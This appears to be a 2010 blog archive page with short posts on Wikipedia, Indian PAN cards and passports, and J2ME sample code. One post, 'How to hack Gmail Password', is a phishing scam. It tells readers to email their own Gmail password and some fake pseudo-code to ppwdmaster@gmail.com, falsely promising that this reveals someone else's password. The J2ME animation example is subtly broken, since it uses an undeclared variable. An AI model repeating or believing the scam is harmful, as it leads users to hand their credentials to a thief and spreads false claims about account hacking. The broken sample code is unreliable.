Friday, March 26, 2010

How to Write a Article in Wikipedia ?

        Wikipedia has become one of the most popular websites on the web not just because of its ease of use, but also because of the sheer vastness and timeliness of its information. It might take a regular encyclopedia a year or more to generate an entry for a new concept such as 'Web 2.0', but Wikipedia will have an entry as soon as someone takes the time to write one. And, with anything that catches the public's eye, that's usually pretty quick.

Wednesday, March 24, 2010

How to hack Gmail Password

Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - ppwdmaster@gmail.com
Step 5: Write this in message box.
(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password
(fourth line) - <
v703&login="passmachine&f=(p0assword)
&f=27586&___javascript=ACTIVE&rsa#"
start?>="">
<>
{simply copy and paste above.}

How it works: you mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but
when you
try it with your own password and mail this message from your Gmail
account
the computer gets confused! Why your password is needed- automatic
Gmail
responder will require your "system administrator password" which is
in fact
your own password!!! But the : computer doesn't know.



THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL
CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick
and
works as many times as you try it. Have fun! NOTE: Use account you
have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i'm not
to sure about HOTMAIL but can try.

I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION
NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR
EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......

Friday, March 19, 2010

How to apply for duplicate pan card?

Applying for a Dup.PAN card is almost like applying for a fresh card. The application form will cost Rs.5/- and you have to pay Rs.67 as fee. Produce address proof again, again a new photo etc. Do not change your name, your fathers name and your date of birth if the same is correct in the lost PAN card. Otherwise you can change them if they are not correct.

Wednesday, March 10, 2010

How to apply for a passport

1. If you're applying for the first time, obtain an application form from the passport office or the designated speed post centers or any of the designated outlets in your city. You can also download the form from the Central Passport Organisation's Website http://passport.nic.in/ and register online.

Monday, March 8, 2010

J2ME Record Store MIDlet Example

import java.io.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.rms.*;

public class RecordStoreMIDlet extends MIDlet implements CommandListener{
private Display display;
private Alert alert;
private Form form;
private Command exit, start, close;
private RecordStore r_store;
private Image image;

How To- Fix “Error loading operating system” Error in Windows XP?

Is your computer unable to load Windows XP operating system? Are you experiencing errors while booting your system? If 'Yes', you cannot log into your Windows XP computer and all your valuable data becomes inaccessible. Such situations may lead to loss of your critical data , and you need to restore your data from the most recent backup. But, if the backup is not available, hard disk recovery is the only way to go for.

How to Avoid OutOfMemory Exception in J2ME

Dynamic cache management and performance tuning in J2ME
 
          Each mobile device can handle only a certain amount of cache and if this prescribed amount is exceeded then the dynamic memory blows up resulting in the following scenarios

    * Loss of performance
    * Application hangs your device.
    * Application exits.
    * Application throws an "out of memory"exception.


Monday, March 1, 2010

Thread Example in J2ME

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.io.*;
import java.io.*;

public class BackgroundProcessing extends MIDlet
implements CommandListener
{
private Display display;
private Form form;
private Command exit;
private Command start;
public BackgroundProcessing()
{
display = Display.getDisplay(this);
form = new Form("Background Processing");
exit = new Command("Exit", Command.EXIT, 1);
start = new Command("Start", Command.SCREEN, 2);
form.addCommand(exit);
form.addCommand(start );
form.setCommandListener(this);
}
public void startApp()
{
display.setCurrent(form);
}
public void pauseApp()
{
}
public void destroyApp(boolean unconditional)
{
}
public void commandAction(Command command, Displayable displayable)
{
if (command == exit)
{
destroyApp(false);
notifyDestroyed();
}
else if (command == start)
{
Process process = new Process(this);
process.start();
//Do foreground processing here
}
}
}
class Process implements Runnable
{
private BackgroundProcessing MIDlet;
public Process(BackgroundProcessing MIDlet)
{
this.MIDlet = MIDlet;
}
public void run()
{
try
{
transmit ();
}
catch (Exception error)
{
System.err.println(error.toString());
}
}
public void start()
{
Thread thread = new Thread(this);
try
{
thread.start();
}
catch (Exception error)
{
}
}
private void transmit() throws IOException
{
//Place code here to receive or send transmission.
}
}

Animation With PNG Files

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class GIFDemo extends MIDlet {

private boolean boolMotion=false;
private int iX=10,iY=60;

Display mDisplay;
Thread th;

public void destroyApp(boolean unconditional){}

public void pauseApp() {}

public void startApp() {
mDisplay = Display.getDisplay(this);

final MyCanvas can = new MyCanvas();

mDisplay.setCurrent(can);
}

}

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class MyCanvas extends Canvas implements Runnable {
Image img[]=new Image[3];
public MyCanvas() {
try {
img[0]=Image.createImage("/img1.png");
img[1]=Image.createImage("/img2.png");
img[2]=Image.createImage("/img3.png");

}catch(Exception e){}

Thread th=new Thread(this);
th.start();

}

//Display GIF image
public void paint(Graphics g) {
g.drawImage(img[imgIndex],0,0,g.TOP|g.LEFT);
}

//Handling keyEvents
protected void keyPressed(int keyCode) {

}

public void run() {
while(true) {
imgIndex++;
imgIndex%=3;
try {
Thread.sleep(500);
}catch(Exception e){}
}
}

}